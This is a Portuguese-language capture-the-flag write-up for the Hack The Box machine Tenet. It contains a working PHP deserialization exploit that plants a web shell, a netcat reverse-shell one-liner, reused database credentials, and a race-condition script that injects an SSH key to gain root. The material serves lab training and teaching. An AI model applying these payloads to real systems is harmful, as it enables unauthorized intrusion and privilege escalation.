Olá pessoal!
A máquina desta semana será Tenet, outra máquina Linux classificada como mediana do Hack The Box, criada por egotisticalSW.
Info
Write-ups para máquinas do Hack The Box são postados assim que as respectivas máquinas são aposentadas.
Antes de iniciar a resolução desta máquina, me chamou atenção a ilustração, a qual busquei e acabei encontrando sobre o quadrado Sator, onde temos um palíndromo com cinco palavras latinas: SATOR, AREPO, TENET, OPERA e ROTAS, que em um conjunto formam um quadrado com as mesmas palavras sendo TENET a central. Muito possivelmente estas palavras poderão estar presentes em algum ponto da resolução desta máquina :smile:.
Enumeração
Como de costume, iniciado com um quick scan nmap para identificar os serviços publicados
$ nmap -sC -sV -Pn -oA quick 10.10.10.223Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-27 14:36 -03Nmap scan report for 10.10.10.223Host is up (0.079s latency).Not shown: 998 closed portsPORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:| 2048 cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 (RSA)| 256 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 (ECDSA)|_ 256 e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 (ED25519)80/tcp open http Apache httpd 2.4.29 ((Ubuntu))|_http-server-header: Apache/2.4.29 (Ubuntu)|_http-title: Apache2 Ubuntu Default Page: It worksService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 18.06 seconds80/TCP - Serviço HTTP
Ao acessar esta página, notado que se trata da página default do Apache, logo iniciei uma enumeração de diretórios com o gobuster onde acabei encontrando alguns diretórios, dentre ele o wordpress.
$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.223/ -o gobuster.txt -x php,txt,html===============================================================Gobuster v3.0.1by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)===============================================================[+] Url: http://10.10.10.223/[+] Threads: 10[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt[+] Status codes: 200,204,301,302,307,401,403[+] User Agent: gobuster/3.0.1[+] Extensions: php,txt,html[+] Timeout: 10s===============================================================2021/02/27 14:44:51 Starting gobuster===============================================================/index.html (Status: 200)/users.txt (Status: 200)/wordpress (Status: 301)Progress: 5055 / 220561 (2.29%)^C[!] Keyboard interrupt detected, terminating.===============================================================2021/02/27 14:48:08 Finished===============================================================Ao acessá-lo, notado que a página estava sem formatação, logo validando o código fonte vi que estava com os apontamentos para as imagens em tenet.htb, o qual foi adicionado no /etc/hosts.
Após ajustado o dns, executado scan utilizando o wpscan, onde foi possível enumerar a versão do Wordpress, no caso 5.6, e usuários protagonist e neil
Como ao acessar a página pela url http://10.10.10.223/wordpress informa uma mensagem de erro, conforme imagem abaixo. Acessando a partir do dns configurado e conforme visto no codigo fonte (http://tenet.htb) para visualizar o site wordpress corretamente.

Analisando as postagens ao acessar o wordpress pelo DNS, notei que os posts mencionam um sistema chamado Rotas, que possivelmente possa conter algum item a ser explorado e conseguir um acesso inicial
This Is Where Our Worlds Collide We’re looking for beta testers of our new time-management software, ‘Rotas’ ‘Rotas’ will hopefully be coming to market late 2021, pending rigorous QA from our developers, and you! For more information regarding opting-in, watch this space.
As coisas ficam mais interessantes em um post mais antigo, onde o usuário neil comenta o seguinte na postagem:
did you remove the sator php file and the backup?? the migration program is incomplete! why would you do this?!
Buscando por sator.php no hostname tenet.htb não retornou nada, mas acessando diretamente ao IP do servidor, conforme acessado inicialmente, recebi a página abaixo:

Uma vez que backups são criados com sufixos old ou bak, acabei encontrando o arquivo sator.php.bak no mesmo diretório, onde pude listar o conteúdo abaixo:
<?php
class DatabaseExport{ public $user_file = 'users.txt'; public $data = '';
public function update_db() { echo '[+] Grabbing users from text file <br>'; $this-> data = 'Success'; }
public function __destruct() { file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data); echo '[] Database updated <br>'; // echo 'Gotta get this working properly...'; }}
$input = $_GET['arepo'] ?? '';$databaseupdate = unserialize($input);
$app = new DatabaseExport;$app -> update_db();
?>Como podemos ver este código é vulnerável a PHP Deserialization, uma vez que não valida o input recebido via GET a partir do query string arg arepo, permitindo que seja modificado o conteúdo do arquivo de banco de dados.
Acesso inicial
Para acesso inicial o primeiro passo é criar um dado serializado do PHP malicioso e enviar no argumento arepo conforme vimos no metodo get. Buscando um pouco encontrei este exemplo de exploit que foi modificado para gerar um webshell simples na máquina, o qual poderia a posteriori ser utilizado para obter um shell reverso na máquina.
<?php
class DatabaseExport{ public $user_file = 'shell.php'; public $data = '<?php system($_GET["cmd"]); ?>';
public function update_db() { echo '[+] Grabbing users from text file <br>'; $this-> data = 'Success'; }
public function __destruct() { file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data); echo '[] Database updated <br>'; // echo 'Gotta get this working properly...'; }}
$url = 'http://10.10.10.223/sator.php?arepo=';$arepo = $url . urlencode(serialize(new DatabaseExport));$response = file_get_contents("$arepo");print "$response";Após execução, foi possível validar o funcionamento do webshell com a chamada executando o comando id.
$ php exploit.php[] Database updated <br>[+] Grabbing users from text file <br>[] Database updated <br>[] Database updated <br>
$ curl -L http://10.10.10.223/shell.php?cmd=iduid=33(www-data) gid=33(www-data) groups=33(www-data)Confirmado o acesso, realizado chamada para um shell reverso utilizando o comando abaixo:
curl -G --data-urlencode "cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 4443 >/tmp/f" http://10.10.10.223/shell.phpUser Flag
Uma vez com acesso à máquina, já que era sabido que tínhamos um wordpress instalado, busquei pelo arquivo de configuração do wordpress onde pude obter as credenciais para acesso ao banco do usuário neil
// ** MySQL settings - You can get this info from your web host ** ///** The name of the database for WordPress */define( 'DB_NAME', 'wordpress' );
/** MySQL database username */define( 'DB_USER', 'neil' );
/** MySQL database password */define( 'DB_PASSWORD', 'Opera2112' );
/** MySQL hostname */define( 'DB_HOST', 'localhost' );Como o reuso de credenciais é algo bastante comum, ao executar o comando su neil, fornecendo a senha presente no arquivo de configuração do wordpress, obtive o acesso com a conta do usuário e a flag de user.
neil@tenet:~$ iduid=1001(neil) gid=1001(neil) groups=1001(neil)neil@tenet:~$ cat ~/user.txt<redacted>neil@tenet:~$Root Flag
No caminho para a flag de root, decidi fazer o dump das credenciais presentes no wordpress, onde os seguintes hashes foram encontrados.
mysql> select user_login,user_pass from wp_users;+-------------+------------------------------------+| user_login | user_pass |+-------------+------------------------------------+| protagonist | $P$BqNNfN07OWdaEfHmGwufBs.b.BebvZ. || neil | $P$BtFC5SOvjEMFWLE4zq5DWXy7sJPUqM. |+-------------+------------------------------------+2 rows in set (0.00 sec)Adicionalmente, buscando por possiveis privilégios de sudo do usuário neil (sudo -l), notado que o usuário possuía privilégios para executar o script enableSSH.sh, listado abaixo.
Matching Defaults entries for www-data on tenet: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:
User www-data may run the following commands on tenet: (ALL : ALL) NOPASSWD: /usr/local/bin/enableSSH.shAnalisando o conteúdo do script vemos que o mesmo foi criado para forçar a configuração de uma chave pública como autorizada para o usuário root para acesso SSH, embora não tenhamos acesso à mesma.
#!/bin/bash
checkAdded() { sshName=$(/bin/echo $key | /usr/bin/cut -d " " -f 3) if [[ ! -z $(/bin/grep $sshName /root/.ssh/authorized_keys) ]]; then /bin/echo "Successfully added $sshName to authorized_keys file!" else /bin/echo "Error in adding $sshName to authorized_keys file!" fi}
checkFile() { if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then /bin/echo "Error in creating key file!" if [[ -f $1 ]]; then /bin/rm $1; fi exit 1 fi}
addKey() { tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX) (umask 110; touch $tmpName) /bin/echo $key >>$tmpName checkFile $tmpName /bin/cat $tmpName >>/root/.ssh/authorized_keys /bin/rm $tmpName}
key="ssh-rsa AAAAA3NzaG1yc2GAAAAGAQAAAAAAAQG+AMU8OGdqbaPP/Ls7bXOa9jNlNzNOgXiQh6ih2WOhVgGjqr2449ZtsGvSruYibxN+MQLG59VkuLNU4NNiadGry0wT7zpALGg2Gl3A0bQnN13YkL3AA8TlU/ypAuocPVZWOVmNjGlftZG9AP656hL+c9RfqvNLVcvvQvhNNbAvzaGR2XOVOVfxt+AmVLGTlSqgRXi6/NyqdzG5Nkn9L/GZGa9hcwM8+4nT43N6N31lNhx4NeGabNx33b25lqermjA+RGWMvGN8siaGskvgaSbuzaMGV9N8umLp6lNo5fqSpiGN8MQSNsXa3xXG+kplLn2W+pbzbgwTNN/w0p+Urjbl root@ubuntu"addKeycheckAddedAnalisando o script acima, notei uma possibilidade de hijack por conta de um race condition existente, onde na função “addKey” é criado um arquivo temporario, incluindo o seu conteúdo da chave pública e, após isso, seu conteúdo é adicionado no /root/.ssh/authorized_keys, possivelmente nos permitindo modificar este arquivo em tempo de execução para incluir outra chave SSH no lugar desta.
O desafio nesta parte é prever o nome do arquivo ssh em /tmp, mas que ao buscar por uma forma de adicionar um valor em múltiplos arquivos, o comando tee foi a melhor opção. O script abaixo foi criado e colocado em execução para infinitamente incluir o conteúdo de uma chave criada por mim em quaisquer arquivos que possuíssem o nome ssh-* em /tmp.
#!/bin/bashwhile true; do echo "ssh-rsa AAAA..............BBBB= root@ubuntu" | tee /tmp/ssh-* 2> /dev/null;doneCom o script acima em execução, executado o comando para habilitar o SSH para o usuário root e logo na sequência, o comando ssh para se conectar com a chave privada em nossa posse, onde obtivemos sucesso para conectar nesta máquina utilizando o SSH e obter a flag de root :smiley:
neil@tenet:/tmp$ sudo /usr/local/bin/enableSSH.shSuccessfully added root@ubuntu to authorized_keys file!neil@tenet:/tmp$ ssh -i tenet root@tenet.htbWelcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-129-generic x86_64)[...]root@tenet:~# iduid=0(root) gid=0(root) groups=0(root)root@tenet:~# cat /root/root.txtb05e57e997cda49b47757cd3f0f9ac43Espero que tenham gostado!
Vejo vocês no próximo post! :smile: